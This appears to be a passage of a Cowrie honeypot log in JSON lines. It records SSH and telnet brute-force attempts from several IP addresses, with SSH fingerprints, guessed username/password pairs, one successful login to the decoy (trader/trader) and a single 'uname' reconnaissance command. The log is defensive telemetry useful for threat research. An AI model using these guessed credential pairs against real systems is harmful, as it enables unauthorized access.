{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33914,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9d593692c2e","protocol":"ssh","message":"New connection: 103.82.132.16:33914 (10.17.0.5:22) [session: d9d593692c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:15.162701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:15.167774Z","src_ip":"103.82.132.16","session":"d9d593692c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:15.413454Z","src_ip":"103.82.132.16","session":"d9d593692c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250692","message":"login attempt [root/250692] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:16.150218Z","src_ip":"103.82.132.16","session":"d9d593692c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:17.397397Z","src_ip":"103.82.132.16","session":"d9d593692c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53768,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0a3003381c","protocol":"ssh","message":"New connection: 165.154.137.186:53768 (10.17.0.5:22) [session: 4e0a3003381c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:19.521358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:19.693414Z","src_ip":"165.154.137.186","session":"4e0a3003381c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:19.986116Z","src_ip":"165.154.137.186","session":"4e0a3003381c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:20.880493Z","src_ip":"165.154.137.186","session":"4e0a3003381c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:22.230683Z","src_ip":"165.154.137.186","session":"4e0a3003381c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45770,"dst_ip":"10.17.0.5","dst_port":22,"session":"68b447dfe55d","protocol":"ssh","message":"New connection: 165.154.137.186:45770 (10.17.0.5:22) [session: 68b447dfe55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:24.587396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:25.003599Z","src_ip":"165.154.137.186","session":"68b447dfe55d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:25.007793Z","src_ip":"165.154.137.186","session":"68b447dfe55d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:26.236773Z","src_ip":"165.154.137.186","session":"68b447dfe55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:27.497455Z","src_ip":"165.154.137.186","session":"68b447dfe55d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35188,"dst_ip":"10.17.0.5","dst_port":22,"session":"709f2643b87f","protocol":"ssh","message":"New connection: 165.154.137.186:35188 (10.17.0.5:22) [session: 709f2643b87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:35.817482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:35.821443Z","src_ip":"165.154.137.186","session":"709f2643b87f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:36.077689Z","src_ip":"165.154.137.186","session":"709f2643b87f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:36.849670Z","src_ip":"165.154.137.186","session":"709f2643b87f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38326,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae50ca6c3646","protocol":"telnet","message":"New connection: 128.199.8.54:38326 (159.203.135.109:23) [session: ae50ca6c3646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:37.057855Z"}
{"eventid":"cowrie.session.closed","duration":0.005586147308349609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:37.063295Z","src_ip":"128.199.8.54","session":"ae50ca6c3646","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:37.562533Z","src_ip":"165.154.137.186","session":"709f2643b87f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:37.565658Z","src_ip":"165.154.137.186","session":"709f2643b87f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:37.826186Z","src_ip":"165.154.137.186","session":"709f2643b87f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:37.830864Z","src_ip":"165.154.137.186","session":"709f2643b87f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.47367334365845,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:39.583581Z","src_ip":"128.199.8.54","session":"8160ffaae58f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34608,"dst_ip":"10.17.0.5","dst_port":22,"session":"581c7a9f57fa","protocol":"ssh","message":"New connection: 165.154.137.186:34608 (10.17.0.5:22) [session: 581c7a9f57fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:47.644486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:47.663111Z","src_ip":"165.154.137.186","session":"581c7a9f57fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:47.911581Z","src_ip":"165.154.137.186","session":"581c7a9f57fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:48.904781Z","src_ip":"165.154.137.186","session":"581c7a9f57fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:50.195348Z","src_ip":"165.154.137.186","session":"581c7a9f57fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.555047035217285,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:52.900182Z","src_ip":"128.199.8.54","session":"0016e3cc1524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":34620,"dst_ip":"10.17.0.5","dst_port":22,"session":"626fee32ca66","protocol":"ssh","message":"New connection: 165.154.137.186:34620 (10.17.0.5:22) [session: 626fee32ca66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:55.572123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:55.621568Z","src_ip":"165.154.137.186","session":"626fee32ca66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:55.865342Z","src_ip":"165.154.137.186","session":"626fee32ca66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:56.802211Z","src_ip":"165.154.137.186","session":"626fee32ca66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:34:58.051984Z","src_ip":"165.154.137.186","session":"626fee32ca66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41016,"dst_ip":"159.203.135.109","dst_port":22,"session":"8307382e1229","protocol":"ssh","message":"New connection: 103.153.68.219:41016 (159.203.135.109:22) [session: 8307382e1229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:00.327429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:00.337645Z","src_ip":"103.153.68.219","session":"8307382e1229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:00.600814Z","src_ip":"103.153.68.219","session":"8307382e1229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yhj34","message":"login attempt [root/yhj34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:01.394780Z","src_ip":"103.153.68.219","session":"8307382e1229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:02.660957Z","src_ip":"103.153.68.219","session":"8307382e1229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45744,"dst_ip":"10.17.0.5","dst_port":22,"session":"b04f058b23cf","protocol":"ssh","message":"New connection: 165.154.137.186:45744 (10.17.0.5:22) [session: b04f058b23cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:07.458883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:07.464559Z","src_ip":"165.154.137.186","session":"b04f058b23cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 